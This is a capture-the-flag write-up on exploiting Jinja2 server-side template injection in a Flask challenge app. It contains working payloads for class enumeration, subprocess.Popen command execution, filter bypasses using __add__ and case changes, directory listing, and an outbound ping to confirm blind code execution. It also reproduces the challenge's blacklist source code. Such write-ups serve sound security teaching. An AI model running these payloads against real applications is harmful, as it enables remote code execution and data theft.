GACTF 2020 SimpleFlask Challenge (SSTI)

walkthroughs Aug 30, 2020

To me, this challenge was anything but simple.

We start by visiting the webpage only to get greeted by a method not allowed error.

Moving forward I push this to Burp Repeater to simplify attacking the POST requests.  Doing a POST request we receive new data.

And then -

And here we see we have user controlled input that gets printed to the screen.  Since this is a Flask app my intuition told me the first thing to check for was SSTI.  So we check using {{7*7}}...

Looks like there's some sort of WAF.  We try {{7-6}} instead.

Nice!  We have SSTI!  But looks like there's definitely a WAF blacklisting certain characters and strings.  

As part of the SSTI we want to be able to enumerate all classes effectively so we can call arbitrary methods.  We have a valid list of all interesting objects that we can use starting out by checking Flask's source directly (thanks https://hackmd.io/@Chivato/HyWsJ31dI).

	
url_for=url_for,
get_flashed_messages=get_flashed_messages,
config=self.config,
# request, session and g are normally added with the
# context processor for efficiency reasons but for imported
# templates we also want the proxies in there.
request=request,
session=session,
g=g
    

Going through each one we get the following results for objects and special characters we can use.  This list is not comprehensive.

	
    	url_for - BLACKLISTED
        get_flashed_messages - ALLOWED
        config - BLACKLISTED
        request - BLACKLISTED
        session - ALLOWED
        g - ALLOWED
        self - ALLOWED
        
        () - ALLOWED
        '' - BLACKLISTED
        "" - ALLOWED
        [] - ALLOWED
        _ - ALLOWED
        * - BLACKLISTED
        - - ALLOWED
        + - BLACKLISTED
        / - ALLOWED
        , - BLACKLISTED
        ~ - BLACKLISTED
        | - BLACKLISTED
        > - BLACKLISTED
        < - BLACKLISTED
    

Knowing this we can set up a plan of attack.

First, since self is allowed, we do a simple self.__dict__ to dump the config and other items.

Not much of interest here.  Moving on...

Hmm blocked?

So we check if globals is blacklisted....

	
INPUT: name=__globals__ 
OUTPUT: hello __globals__!
    

Appears it is not, interesting.  Maybe get_flashed_messages with globals is part of the blacklist.  At this point I started getting suspicious that this may be a very aggressive WAF.

So we start by tackling this like a standard SSTI attack but piece in as many relevant WAF bypasses as we can.

  1. We begin by dumping all subclass objects.
	
INPUT: name={{().__class__.__base__.__subclasses__()}}
    
	
OUTPUT: hello [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections._Link'>, <class 'functools.partialmethod'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'werkzeug.debug.repr._Helper'>, <class 'werkzeug.debug.repr.DebugReprGenerator'>, <class 'werkzeug.debug.console.HTMLStringO'>, <class 'werkzeug.debug.console.ThreadedStream'>, <class 'werkzeug.debug.console._ConsoleLoader'>, <class 'werkzeug.debug.console.Console'>, <class 'werkzeug.debug.tbtools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'werkzeug.debug.tbtools.Frame'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'werkzeug._reloader.ReloaderLoop'>, <class 'unicodedata.UCD'>]!
    

Of all these classes the 2 most interesting to me were subprocess.popen and os._wrap_close.  Both of these classes would provide us methods to reach code execution.   I created a small quick python script to iterate the list and provide me the index of the classes I needed.

	
import sys

list=[CLASSES]

x=0
for i in list:
        if sys.argv[1] in i:
                print(i)
                print("Index is: "+str(x))
        x+=1

    

os._wrap_close was identified at 127 and subprocess.popen was identified at 425.  Our following new payloads moving forward would be:

	
1. name={{().__class__.__base__.__subclasses__()[127].__init__.__globals__}}
2. name={{().__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins
__}}
3. name={{().__class__.__base__.__subclasses__()[425]("EVIL PAYLOAD GOES HERE")}}
    

The first would give us access to OS and functions such as os.system and os.popen.  The second would give us access to builtin methods such as open and read.  The third gave us direct access to subprocess.popen() to run arbitrary code.  

We test each payload to ensure we bypass the blacklist and find that for query number 3, spaces won't work when passing arguments to popen.

Unfortunately, as ~ and + were blacklisted, we needed to find another way to concatenate strings and pass arguments to commands in subprocess.popen.  A useful alternative function is '__add__()'.  

subprocess.popen can accept a string argument, or an array of arguments fortunately for us, so using ["ping"].__add__(["-c1"].__add__(["arashparsa.com"])) for example we would be able to execute arbitrary code on the system, bypassing the space and comma filters, by creating an array of arguments using '__add__()'.  Doing this test we are successful, but due to arguments we can't pass (such as shell=True because ',' is blacklisted) we are restricted to running aribtrary commands without obtaining any output.  Using a ping at least and sniffing for ICMP packets on a remote server, we can confirm our RCE works.

Success!  So we have arbitrary code execution even if we can't redirect output.  This immediately removed a few commands of interest for us such as 'cat' since we couldn't use any pipes or retrieve any output but this still gave us tons of new possibilites too.  

Next, after confirming they all bypass the blacklist, I tried something easy and read app.py.  We can accomplish this using the open() and read() builtins with query #2.  Attempting the read() triggers the WAF again, even though 'read' alone did not, this is when I began to suspect it was instead the output that was being alerted on as well and not just the input.  There must have been some string in the response that triggered the WAF to block me.

At this point I checked other methods I could leverage and found readline() and readlines().  readlines() failed for what I'm assuming was the same reason but readline() printed the first line of code succesfully!

A thought now comes to mind.  Using a combination of open() and subprocess.popen() we can basically read this file by deleting a line with sed, then using readline() again on the new top line.  Since we didn't want to disrupt the challenge for others, we first copied this file over to a test.txt and then applied the operations there.

We have an import line, the copy was a success!

Delete the first line...

A new line!  Success!  We do this for all lines but encounter our first error on line 14.

Since we were printing line by line and did not alter our payload whatsoever, it 100% confirmed my suspicions there was a WAF not only on the requests, but on the responses as well.  To resolve this, I tried obfuscating the line by changing casing.

Success!  This basically confirms the string 'flag' all lowercase in the response triggers the WAF.  We then continue and dump the full script.

	
from flask import Flask, request, render_template_string, redirect, abort
import string




white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
              "end", "os", "eval", "request", "write",
			  "mro", "compile", "execfile", "exec",
			  "subprocess", "importlib", "platform", "timeit",
			  "import", "linecache", "module", "getattribute",
			  "pop", "getitem", "decode", "popen",
			  "ifconfig", "flag", "config"]
			   

def check(s):
    # print(len(s))
    if len(s) > 131:
		abort(500, "hacker")
		# abort(500, "hacker len")
	for i in s:
		if i not in white_list:
			abort(500, "hacker")
			# abort(500, "hacker white")
    for i in black_list:
		if i in s:
			abort(500, "hacker")
			# abort(500, "hacker black")


@app.route('/', methods=["POST"])
	def hello_world():
		try:
			name = request.form["name"]
		except Exception:
			return render_template_string("<h1>request.form[\"name\"]<h1>")
			
		if name == "":
			return render_template_string("<h1>hello world!<h1>")
		
		check(name)
		template = '<h1>hello {}!<h1>'.format(name)
		res = render_template_string(template)
		if "flag" in res:
			abort(500, "hacker")
		return res
		
		
if __name__ == '__main__':
	app.run(host="0.0.0.0", debug=True)
    

Looking at the source code we can see the blacklist/whitelist is actually quite basic and we severely overthought and overcomplicated our attack vector.....but were in too deep to change now!

Based on this code its obvious theres no flag in the source itself, so instead we pivot from open() to listdir() to enumerate the filesystem.

	
INPUT: name={{[].__class__.__base__.__subclasses__()[262].__init__.__globals__["o".__add__("s")].__dict__.listdir()}} 
OUTPUT: core.7 test.txt templates static app.py
	

There was nothing interesting in the application home, enumerating '/' though triggers the waf, which means clearly there is a file with the name flag there.  We use our casing trick to bypass the WAF again to confirm.

We use "-" in our join because space is blacklisted and use .upper() to force everything to upper case.  Looking at the results we clearly see a flag file!  We know the string 'flag' is blacklisted though thanks to the source, so the final step is to read the file and bypass the WAF using '__add__()'.

And there's the flag!  This may not have been the easiest path, but it taught me a lot and was quite satisfying.

Resources

  1. https://github.com/pallets/flask/blob/38eb5d3b49d628785a470e2e773fc5ac82e3c8e4/src/flask/app.py#L775-L786
  2. https://translate.google.com/translate?sl=auto&tl=en&u=https%3A%2F%2Fwww.xmsec.cc%2Fssti-and-bypass-sandbox-in-jinja2%2F
  3. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
  4. https://translate.google.com/translate?sl=auto&tl=en&u=https%3A%2F%2Fwww.mi1k7ea.com%2F2019%2F06%2F02%2F%E6%B5%85%E6%9E%90Python-Flask-SSTI%2F
  5. https://translate.googleusercontent.com/translate_c?depth=1&pto=aue&rurl=translate.google.com&sl=auto&sp=nmt4&tl=en&u=https://0day.work/jinja2-template-injection-filter-bypasses/&usg=ALkJrhjUJwiciUumfGSKCv5_i1iC23JwBQ
  6. https://translate.google.com/translate?hl=&sl=zh-CN&tl=en&u=https%3A%2F%2Fxz.aliyun.com%2Ft%2F7746
  7. https://hackmd.io/@Chivato/HyWsJ31dI
  8. https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
  9. https://translate.google.com/translate?sl=auto&tl=en&u=https%3A%2F%2Fctf.ieki.xyz%2Fadworld%2Fshrine.html
  10. https://translate.google.com/translate?sl=auto&tl=en&u=https%3A%2F%2Fxi4or0uji.github.io%2F2019%2F01%2F15%2Fflask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%2F
  11. https://ctf.ieki.xyz/adworld/shrine.html
  12. https://medium.com/bugbountywriteup/tokyowesterns-ctf-4th-2018-writeup-part-3-1c8510dfad3f
  13. https://www.onsecurity.co.uk/blog/server-side-template-injection-with-jinja2
  14. https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1
  15. https://ctftime.org/writeup/11014
  16. https://ctftime.org/writeup/10895
  17. https://docs.python.org/3/reference/datamodel.html